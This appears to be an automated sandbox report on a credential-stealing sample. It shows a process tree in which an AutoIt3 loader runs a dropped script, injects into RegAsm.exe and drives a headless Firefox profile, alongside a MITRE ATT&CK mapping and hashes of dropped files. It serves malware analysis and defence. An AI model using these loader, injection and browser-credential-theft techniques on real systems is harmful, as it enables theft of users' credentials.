    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x328,0x7ff91d33c188,0x7ff91d33c194,0x7ff91d33c1a0
    3⤵
    PID:3700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2004,i,13854212342302816513,13023900169777222760,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1732,i,15491260094103654162,1601453836476047626,262144 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:2
    3⤵
    PID:5048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2576,i,2112032425281673559,18258619771111755611,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=2592 /prefetch:8
    3⤵
    PID:1232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3424,i,8013480752043203873,17057974292814797009,2097152 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=3452 /prefetch:1
    3⤵
    PID:4484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3432,i,16281399791810937417,11015387779384210705,2097152 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
    3⤵
    PID:2452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4128,i,3519896538843720783,15239319054568182820,2097152 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:1
    3⤵
    PID:4732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4160,i,6994275431443306867,6787272957246626933,2097152 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:2
    3⤵
    PID:2816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3592,i,14048297192718089545,8948323031081379823,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:8
    3⤵
    PID:3076
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5116,i,2698208093501942506,2736837125892959999,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:8
    3⤵
    PID:2656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5360,i,7246701124473818389,6379106437823776749,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:8
    3⤵
    PID:5240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5348,i,16882468618734694017,14457659445194262105,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:8
    3⤵
    PID:5252
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3596,i,16402181505457168253,2083472772141911752,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=5048 /prefetch:8
    3⤵
    PID:5352
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3596,i,16402181505457168253,2083472772141911752,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=5048 /prefetch:8
    3⤵
    PID:5380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6468,i,18162953662253914708,14575960537738298985,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:8
    3⤵
    PID:5764
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6496,i,12875951293342765644,9004672485536277547,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=6404 /prefetch:8
    3⤵
    PID:3332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6616,i,12507813635555285884,4142762620427738324,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=6672 /prefetch:8
    3⤵
    PID:6056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6816,i,4364033687914510910,3925542480522432869,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=6820 /prefetch:8
    3⤵
    PID:6092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6928,i,13749730554650212808,7099353471892863578,524288 --field-trial-handle=2260,i,12545550765307053863,15427562479014223374,262144 --variations-seed-version --mojo-platform-channel-handle=6832 /prefetch:8
    3⤵
    PID:1944
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:1304
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2732 -prefsLen 24447 -prefMapHandle 2736 -prefMapSize 268500 -ipcHandle 2800 -initialChannelId {c9c35267-128d-4367-b24f-755303b0947c} -parentPid 1304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:5556
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2008 -prefsLen 24657 -prefMapHandle 1852 -prefMapSize 268500 -jsInitHandle 1956 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1960 -initialChannelId {e27eaf87-e4ac-43ff-aab5-fa1d81db5d73} -parentPid 1304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:2916
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3660 -prefsLen 25543 -prefMapHandle 3664 -prefMapSize 268500 -ipcHandle 3588 -initialChannelId {0cba8852-5dd8-4211-a2c9-2b558a3a0966} -parentPid 1304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:4856
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4064 -prefsLen 25606 -prefMapHandle 4068 -prefMapSize 268500 -jsInitHandle 4072 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4080 -initialChannelId {66132e72-ad43-4a70-943b-833ff164775b} -parentPid 1304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:6088
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4744 -prefsLen 36251 -prefMapHandle 4740 -prefMapSize 268500 -ipcHandle 4376 -initialChannelId {fb2eca58-4bb1-4fd4-aab7-c783a9f5e6ac} -parentPid 1304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:2284
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4468 -prefsLen 34446 -prefMapHandle 4536 -prefMapSize 268500 -jsInitHandle 5032 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5092 -initialChannelId {1d263de2-cf30-4c35-b665-9f4b89b44335} -parentPid 1304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:5060
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5076 -prefsLen 34446 -prefMapHandle 5080 -prefMapSize 268500 -jsInitHandle 5084 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5108 -initialChannelId {2511c76b-4290-4361-8672-f42ca004b022} -parentPid 1304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:3528
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5456 -prefsLen 34446 -prefMapHandle 5452 -prefMapSize 268500 -jsInitHandle 5448 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5440 -initialChannelId {78a9251c-10d8-44b1-88c4-1695ceb66c29} -parentPid 1304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:4720

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2140

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3076

C:\Users\Admin\AppData\Roaming\64348b011b5b\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\64348b011b5b\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\64348b011b5b\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3200
- C:\Users\Admin\AppData\Roaming\64348b011b5b\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\64348b011b5b\RegAsm.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 9e9f5a7be292c1fd587936e8b3c871ef91dfe7cac0b8f31155b5cf491266ec29
MD5 6c7c8f468fb509e3e1ba5c2280df638a
SHA1 347881ba6ae4611e440f99f12ad81c8f1748cd33
SHA512 b12a3a68a340425fa249b078d9579200b0cd4de3ba1c0219f214080682857f2d1eb97a1dcb7621fd59c74c232ec49f1b019be509bb65cdbef76245b0ef35bf2e
TLSH
T11FF0F4B5D921FC2718FD572924994B46EB5013673B80844F3B3D820C8FB1B3B468682C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 130KB
SHA256 4f4bfce6914e79513ad13f0ef513b0f7c9aecedaa8cddd09bd7d45c7b00a18e8
MD5 39817e45975a28bdbf45ed34e2c2c41e
SHA1 4cf715418b85b213a491f8f7644828f271ddb486
SHA512 84622003b0c575a7c6056936e5633d24308da5df4fbd90869ced96dfd79a0394cb31dbada034ab184b4e5b4919ba30dd20af071471e3a854d32b0e7d8c0d0e9e
SSDEEP 3072:J+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+gU:J+hFD+7t56OD9ZfSApprU
TLSH
T1B5D31232AA91D87BC9FD6541B157A300DD766CED41EE2A09444A9F8EE09FC4D0773A33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 87a6b56b3a47cfd9f58f49b21d0040033c8cfd80b50e49b434794cefa7e29583
MD5 74ef2da89fa243ea7d0030317efca192
SHA1 ceb38f6fe8b62f80d617114db8b4617467417ae3
SHA512 285847f78095225db6f446ab877593c3e8e9c642b3beec1b15e7b1eec59d6b2f61ada0e2fb96cf36a3046dbd5102c274473cea5f978ee83b010039a4dc00d05d
TLSH
T10DD024C471D0340CD40C31335015CD011744CD54F00317C7000D4C40C4400C40CF1C4D
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 61a97be736e0441d45644d31b38bd9bef6c1bd260fa1ecbb5d099fa493fee6b4
MD5 99bbd8400adc948f85ebd87cb24b3fcb
SHA1 c8fb9564ede7ecb06cef446bdb527025127a796e
SHA512 75b3ee70eca487cbbfb3d5b4b25bae158ff99188ab36d55f391e9f80c51ce9fa433897d79a0ae37ad64698bc3eb5aa9a10a49116fb8f7f35ed0a6e98aa8321b7
TLSH
T109D022C8F2A0300CE00C3233A02BCE022B88CEA8F0032BCA000E8C80E8800C80CF2C8E
MD5 SHA1 SHA512 TLSH

Submit Download

79e8a221-8c77-460a-a983-c326883079d3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\79e8a221-8c77-460a-a983-c326883079d3.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 4ed618f393f9c48b95e2eb8727c003645d8b3bba81e84b9cab8437109f6eadb3
MD5 fdf6322a6f55d60c88502877cc5e94b4
SHA1 0b49b0a4fa3378387f1227491504d636ccc80352
SHA512 61d49e7fc4f2d5bc82df4fb579aa050c23394216494378bb2b5a959da79ea9c3515649ca627eb66ab4cf27782690e2ba4b5311ff8886f26657c067a19be13fed
SSDEEP 192:sxZ/nMR4CaIU/fonseCjLImhAbGYdpm/OUHW6+WNB/RDZ/YazHsHIg4J:sxZ0c5/fAseCvIQY4Hbt/2c
TLSH
T12242D906AE28A57B4CC7E22DBE197F53E6F9513294C41D4CA6FCDA1C04EA6DE120780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 4f702279a3b25e5e3d818cddb82683647416c4aeeab4e8e3bdd0e7b654265f48
MD5 334253c489c43de9ebc879e7c7d4c74d
SHA1 a3208ddec33c836a3ffe0e7026237e9b1d36215c
SHA512 5dce275bc4703ed16dea37a1661f9e50d88a2ce95977dc2227d91e78400afd6ef870113ba6957949eefdf2aae4933e049c465b2bbdfc8eb28c52059041e79100
SSDEEP 768:KzyQRV77pLuLbTrWvvlpZ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVNVXKLlRXH33ro+:KzyQRVNEbTrWvvlpZu1jasVXKLf33k6v
TLSH
T1D7E2FB7B780CCA7E4FC00EDDDC2A6E9A6DA802CB5698C94447FA945C02C7BEE51174DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\1adacc9b-26d6-441f-8c91-36a9b595a034\index-dir\the-real-index
Size 576B
SHA256 d63279b06f8bdbcfb3e6a377675a3720e7b0b059c4dc4440397b434a1e4f9bb3
MD5 777bbde5bd3aa0caa8ece582db4c206e
SHA1 b0142587d3119811c9b07418750a2ee38010657c
SHA512 8e2113dbe10ab957e7397471011071015144372b117e4071105d490daebae39fd726be273e0b273c28d0623f6f0f4e0d3d11ac62a8d0115842cf6e3e8870c6b2
TLSH
T125F023C83D23499AFD204131743E505917B511EC2314684770FC90269C477C0BE416B0
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe595aa9.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\1adacc9b-26d6-441f-8c91-36a9b595a034\index-dir\the-real-index~RFe595aa9.TMP
Size 576B
SHA256 88b33578bda8095ef935756f5d5d205a640cea64dff44489be2ce7bbee23f593
MD5 648aa4708a2adcc2b15c797ec556970e
SHA1 2db2596360e843247ddb937078e75314e1c0fef8
SHA512 865983aba9242d482bf8dffbc170d6b4326773ec6e314c1051d536146358fe93d26792709f4deb2b31f3999254f45f19ba3024a7e96a53a57c913776aae080ee
TLSH
T134F0F1D816138F86FC080131E97DA16A62B55008E324790FF3F69025CC53BC09D82FB1
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 ae9ae0b89d44ead653f051005217879e601612163c708aee255b05fbf7aca426
MD5 eac5e1bbba96a3fd735ac2fa843bc52b
SHA1 05988c9b5cb7d00f5ec86c9842c929755f997164
SHA512 fba0df4fa204289e385aee82f0d8aa1ada5424a73ca2133a144c2a23e7f0ae16100a2192db68a563afeeb804822929b0d1ccf6090bfd7738274a4a37de08513f
SSDEEP 384:nlZcIhsNw6Tvg8QYp5u8i3xK66Bkwc0acloV:dhxSk3o66BkuaclC
TLSH
T172928D755CB8AC7768E7A111F5473B439EBC40B792885F84D5E8E71E04CA3D92B07A23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 343d0eed78900ce49e0a70878a8550ffdf672a6ad2843833b9e10246953120df
MD5 199c8fb7c1a2a0f9c71817fc97bfddfa
SHA1 c43a03193e54074a91e9b7b7c2ff2d63ae488711
SHA512 ecd6c0a7cce67dd668d411b3fabf72373ff0a9df77e27e431a6b9c07a9eec7c306215a9204cc4f0f6e28318fb6468e4127c1c38519923febc8d26572e91b6de4
SSDEEP 192:SON56iDEQmiUy3Yoq5u88P3xiHFuZ4/pdU6:SON569Poq5u8i3xKc6U6
TLSH
T168122C356878FC2B6DD2B925F48737939EA8117BDA446F88D5D8571C04D738C2B0B923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 872318a5104b8e9adc961449bfa3237af22da8ada1bd61040a360e3eee928808
MD5 646bab869f3975306a225bc1a510ba3d
SHA1 485104ee9336dfaba7df24a3655f76d6b441733e
SHA512 97b419d6151918c11d5f02f337f95c85d438142978815753574ed3dd68a0dd94127c13564412c647b6f1c84cd7ac74a598131c0fb38083425a2343344391905d
SSDEEP 96:PqONkHOQsjpfwDISp5ih/cIPURHl8h4otop55mDUBfPGxvw45RxmJm78lFtxSY+P:SONGh6iDCQmiUyCYHq5u88P3ESqWnsU6
TLSH
T13202E9396C787CAB9EE26D15B5473B139FA5113FE6942F84DAE81B2C01E729C1307923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9b029bfe-048e-4260-8b41-761f30aa59b4.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\9b029bfe-048e-4260-8b41-761f30aa59b4.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 3bcf42fda19ac12b5e6abfcc238bf2724bafdd838d0a83a4b268608902663099
MD5 d5bc3d7160c063ada3e58b0c5f326b79
